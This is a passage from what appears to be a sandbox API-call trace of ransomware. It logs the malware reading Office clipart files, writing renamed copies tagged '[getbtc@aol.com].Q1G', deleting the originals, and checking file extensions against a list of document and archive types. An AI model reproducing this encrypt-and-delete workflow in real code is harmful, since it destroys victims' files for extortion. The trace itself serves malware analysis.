nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x319fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x319fc9c*=0xec, lpOverlapped=0x0) returned 1 [0247.844] SetEndOfFile (hFile=0x3c0) returned 1 [0247.844] CloseHandle (hObject=0x3c0) returned 1 [0247.845] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0247.845] SetEndOfFile (hFile=0x3bc) returned 1 [0247.846] CloseHandle (hObject=0x3bc) returned 1 [0247.847] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00449_.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0247.847] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00449_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00449_.wmf")) returned 1 [0247.847] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00449_.WMF") returned 63 [0247.847] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00449_.WMF") returned 63 [0247.847] lstrlenW (lpString=".doc") returned 4 [0247.847] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0247.847] lstrlenW (lpString=".docx") returned 5 [0247.847] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0247.847] lstrlenW (lpString=".pdf") returned 4 [0247.847] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0247.847] lstrlenW (lpString=".xls") returned 4 [0247.847] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0247.847] lstrlenW (lpString=".xlsx") returned 5 [0247.847] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0247.847] lstrlenW (lpString=".ppt") returned 4 [0247.847] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0247.848] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00449_.WMF") returned 63 [0247.848] lstrlenW (lpString=".zip") returned 4 [0247.848] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0247.848] lstrlenW (lpString=".rar") returned 4 [0247.848] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0247.848] lstrlenW (lpString=".bz2") returned 4 [0247.848] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0247.848] lstrlenW (lpString=".7z") returned 3 [0247.848] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0247.848] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00449_.WMF") returned 63 [0247.848] lstrlenW (lpString=".dbf") returned 4 [0247.848] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0247.848] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00449_.WMF") returned 63 [0247.848] lstrlenW (lpString=".1cd") returned 4 [0247.848] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0247.848] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00449_.WMF") returned 63 [0247.848] lstrlenW (lpString=".jpg") returned 4 [0247.848] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0247.848] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00449_.WMF") returned 63 [0247.848] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00449_.WMF") returned 63 [0247.848] lstrlenW (lpString=".doc") returned 4 [0247.848] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0247.848] lstrlenW (lpString=".docx") returned 5 [0247.848] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0247.848] lstrlenW (lpString=".pdf") returned 4 [0247.848] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0247.848] lstrlenW (lpString=".xls") returned 4 [0247.848] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0247.848] lstrlenW (lpString=".xlsx") returned 5 [0247.848] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0247.848] lstrlenW (lpString=".ppt") returned 4 [0247.848] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0247.848] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00449_.WMF") returned 63 [0247.848] lstrlenW (lpString=".zip") returned 4 [0247.848] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0247.848] lstrlenW (lpString=".rar") returned 4 [0247.848] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0247.848] lstrlenW (lpString=".bz2") returned 4 [0247.848] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0247.848] lstrlenW (lpString=".7z") returned 3 [0247.848] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0247.848] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00449_.WMF") returned 63 [0247.849] lstrlenW (lpString=".dbf") returned 4 [0247.849] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0247.849] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00449_.WMF") returned 63 [0247.849] lstrlenW (lpString=".1cd") returned 4 [0247.849] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0247.849] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00449_.WMF") returned 63 [0247.849] lstrlenW (lpString=".jpg") returned 4 [0247.849] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0247.849] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0247.849] lstrlenW (lpString="DD00687_.WMF") returned 12 [0247.849] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00687_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00687_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0247.849] GetFileSizeEx (in: hFile=0x3bc, lpFileSize=0x319ff1c | out: lpFileSize=0x319ff1c*=20784) returned 1 [0247.849] CloseHandle (hObject=0x3bc) returned 1 [0247.849] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00687_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00687_.wmf")) returned 0x20 [0247.849] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00687_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00687_.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0247.850] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00687_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00687_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0247.850] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0247.850] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0247.850] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00687_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00687_.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0247.850] GetLastError () returned 0x0 [0247.850] ReadFile (in: hFile=0x3bc, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x319fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x319fed4*=0x5130, lpOverlapped=0x0) returned 1 [0247.853] WriteFile (in: hFile=0x3c0, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0x5140, lpNumberOfBytesWritten=0x319fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x319fc9c*=0x5140, lpOverlapped=0x0) returned 1 [0247.854] ReadFile (in: hFile=0x3bc, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x319fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x319fed4*=0x0, lpOverlapped=0x0) returned 1 [0247.854] WriteFile (in: hFile=0x3c0, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x319fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x319fc9c*=0xec, lpOverlapped=0x0) returned 1 [0247.854] SetEndOfFile (hFile=0x3c0) returned 1 [0247.854] CloseHandle (hObject=0x3c0) returned 1 [0247.854] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0247.854] SetEndOfFile (hFile=0x3bc) returned 1 [0247.856] CloseHandle (hObject=0x3bc) returned 1 [0247.856] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00687_.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0247.856] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00687_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00687_.wmf")) returned 1 [0247.857] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00687_.WMF") returned 63 [0247.857] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00687_.WMF") returned 63 [0247.857] lstrlenW (lpString=".doc") returned 4 [0247.857] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0247.857] lstrlenW (lpString=".docx") returned 5 [0247.857] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0247.857] lstrlenW (lpString=".pdf") returned 4 [0247.857] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0247.857] lstrlenW (lpString=".xls") returned 4 [0247.857] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0247.857] lstrlenW (lpString=".xlsx") returned 5 [0247.857] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0247.857] lstrlenW (lpString=".ppt") returned 4 [0247.857] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0247.857] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00687_.WMF") returned 63 [0247.857] lstrlenW (lpString=".zip") returned 4 [0247.857] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0247.857] lstrlenW (lpString=".rar") returned 4 [0247.857] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0247.857] lstrlenW (lpString=".bz2") returned 4 [0247.857] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0247.857] lstrlenW (lpString=".7z") returned 3 [0247.857] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0247.857] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00687_.WMF") returned 63 [0247.857] lstrlenW (lpString=".dbf") returned 4 [0247.857] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0247.857] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00687_.WMF") returned 63 [0247.857] lstrlenW (lpString=".1cd") returned 4 [0247.857] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0247.857] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00687_.WMF") returned 63 [0247.857] lstrlenW (lpString=".jpg") returned 4 [0247.857] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0247.858] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00687_.WMF") returned 63 [0247.858] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00687_.WMF") returned 63 [0247.858] lstrlenW (lpString=".doc") returned 4 [0247.858] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0247.858] lstrlenW (lpString=".docx") returned 5 [0247.858] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0247.913] lstrlenW (lpString=".pdf") returned 4 [0247.913] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0247.913] lstrlenW (lpString=".xls") returned 4 [0247.913] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0247.913] lstrlenW (lpString=".xlsx") returned 5 [0247.913] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0247.914] lstrlenW (lpString=".ppt") returned 4 [0247.914] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0247.914] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00687_.WMF") returned 63 [0247.914] lstrlenW (lpString=".zip") returned 4 [0247.914] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0247.914] lstrlenW (lpString=".rar") returned 4 [0247.914] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0247.914] lstrlenW (lpString=".bz2") returned 4 [0247.914] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0247.914] lstrlenW (lpString=".7z") returned 3 [0247.914] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0247.914] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00687_.WMF") returned 63 [0247.914] lstrlenW (lpString=".dbf") returned 4 [0247.914] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0247.914] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00687_.WMF") returned 63 [0247.914] lstrlenW (lpString=".1cd") returned 4 [0247.914] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0247.914] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00687_.WMF") returned 63 [0247.914] lstrlenW (lpString=".jpg") returned 4 [0247.914] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0247.914] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0247.914] lstrlenW (lpString="DD01139_.WMF") returned 12 [0247.914] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01139_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01139_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0247.929] GetFileSizeEx (in: hFile=0x200, lpFileSize=0x319ff1c | out: lpFileSize=0x319ff1c*=3632) returned 1 [0247.929] CloseHandle (hObject=0x200) returned 1 [0247.929] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01139_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01139_.wmf")) returned 0x20 [0247.930] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01139_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01139_.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0247.930] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01139_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01139_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0247.930] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0247.930] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0247.930] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01139_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01139_.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0247.931] GetLastError () returned 0x0 [0247.931] ReadFile (in: hFile=0x200, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x319fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x319fed4*=0xe30, lpOverlapped=0x0) returned 1 [0247.932] WriteFile (in: hFile=0x3c0, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0xe40, lpNumberOfBytesWritten=0x319fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x319fc9c*=0xe40, lpOverlapped=0x0) returned 1 [0247.933] ReadFile (in: hFile=0x200, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x319fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x319fed4*=0x0, lpOverlapped=0x0) returned 1 [0247.933] WriteFile (in: hFile=0x3c0, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x319fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x319fc9c*=0xec, lpOverlapped=0x0) returned 1 [0247.933] SetEndOfFile (hFile=0x3c0) returned 1 [0247.933] CloseHandle (hObject=0x3c0) returned 1 [0247.933] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0247.933] SetEndOfFile (hFile=0x200) returned 1 [0247.935] CloseHandle (hObject=0x200) returned 1 [0247.935] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01139_.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0247.936] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01139_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01139_.wmf")) returned 1 [0247.936] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01139_.WMF") returned 63 [0247.936] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01139_.WMF") returned 63 [0247.936] lstrlenW (lpString=".doc") returned 4 [0247.936] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0247.936] lstrlenW (lpString=".docx") returned 5 [0247.936] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0247.936] lstrlenW (lpString=".pdf") returned 4 [0247.936] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0247.936] lstrlenW (lpString=".xls") returned 4 [0247.936] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0247.936] lstrlenW (lpString=".xlsx") returned 5 [0247.936] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0247.936] lstrlenW (lpString=".ppt") returned 4 [0247.936] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0247.936] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01139_.WMF") returned 63 [0247.937] lstrlenW (lpString=".zip") returned 4 [0247.937] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0247.937] lstrlenW (lpString=".rar") returned 4 [0247.937] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0247.937] lstrlenW (lpString=".bz2") returned 4 [0247.937] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0247.937] lstrlenW (lpString=".7z") returned 3 [0247.937] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0247.937] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01139_.WMF") returned 63 [0247.937] lstrlenW (lpString=".dbf") returned 4 [0247.937] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0247.937] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01139_.WMF") returned 63 [0247.937] lstrlenW (lpString=".1cd") returned 4 [0247.937] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0247.937] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01139_.WMF") returned 63 [0247.937] lstrlenW (lpString=".jpg") returned 4 [0247.937] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0247.937] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01139_.WMF") returned 63 [0247.937] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01139_.WMF") returned 63 [0247.937] lstrlenW (lpString=".doc") returned 4 [0247.937] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0247.937] lstrlenW (lpString=".docx") returned 5 [0247.937] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0247.937] lstrlenW (lpString=".pdf") returned 4 [0247.937] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0247.937] lstrlenW (lpString=".xls") returned 4 [0247.937] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0247.937] lstrlenW (lpString=".xlsx") returned 5 [0247.937] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0247.937] lstrlenW (lpString=".ppt") returned 4 [0247.937] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0247.937] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01139_.WMF") returned 63 [0247.937] lstrlenW (lpString=".zip") returned 4 [0247.937] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0247.937] lstrlenW (lpString=".rar") returned 4 [0247.937] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0247.937] lstrlenW (lpString=".bz2") returned 4 [0247.937] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0247.938] lstrlenW (lpString=".7z") returned 3 [0247.938] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0247.938] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01139_.WMF") returned 63 [0247.938] lstrlenW (lpString=".dbf") returned 4 [0247.938] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0247.938] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01139_.WMF") returned 63 [0247.938] lstrlenW (lpString=".1cd") returned 4 [0247.938] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0247.938] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01139_.WMF") returned 63 [0247.938] lstrlenW (lpString=".jpg") returned 4 [0247.938] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0247.938] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0247.938] lstrlenW (lpString="DD01143_.WMF") returned 12 [0247.938] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01143_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01143_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0247.938] GetFileSizeEx (in: hFile=0x200, lpFileSize=0x319ff1c | out: lpFileSize=0x319ff1c*=2140) returned 1 [0247.938] CloseHandle (hObject=0x200) returned 1 [0247.938] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01143_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01143_.wmf")) returned 0x20 [0247.938] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01143_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01143_.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0247.939] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01143_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01143_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0247.939] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0247.939] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0247.939] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01143_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01143_.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0247.939] GetLastError () returned 0x0 [0247.939] ReadFile (in: hFile=0x200, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x319fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x319fed4*=0x85c, lpOverlapped=0x0) returned 1 [0247.941] WriteFile (in: hFile=0x3c0, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0x860, lpNumberOfBytesWritten=0x319fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x319fc9c*=0x860, lpOverlapped=0x0) returned 1 [0247.942] ReadFile (in: hFile=0x200, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x319fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x319fed4*=0x0, lpOverlapped=0x0) returned 1 [0247.942] WriteFile (in: hFile=0x3c0, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x319fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x319fc9c*=0xec, lpOverlapped=0x0) returned 1 [0247.942] SetEndOfFile (hFile=0x3c0) returned 1 [0247.942] CloseHandle (hObject=0x3c0) returned 1 [0247.942] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0247.942] SetEndOfFile (hFile=0x200) returned 1 [0247.944] CloseHandle (hObject=0x200) returned 1 [0247.944] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01143_.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0247.944] DeleteFileW (lpFileName="C:\\Program 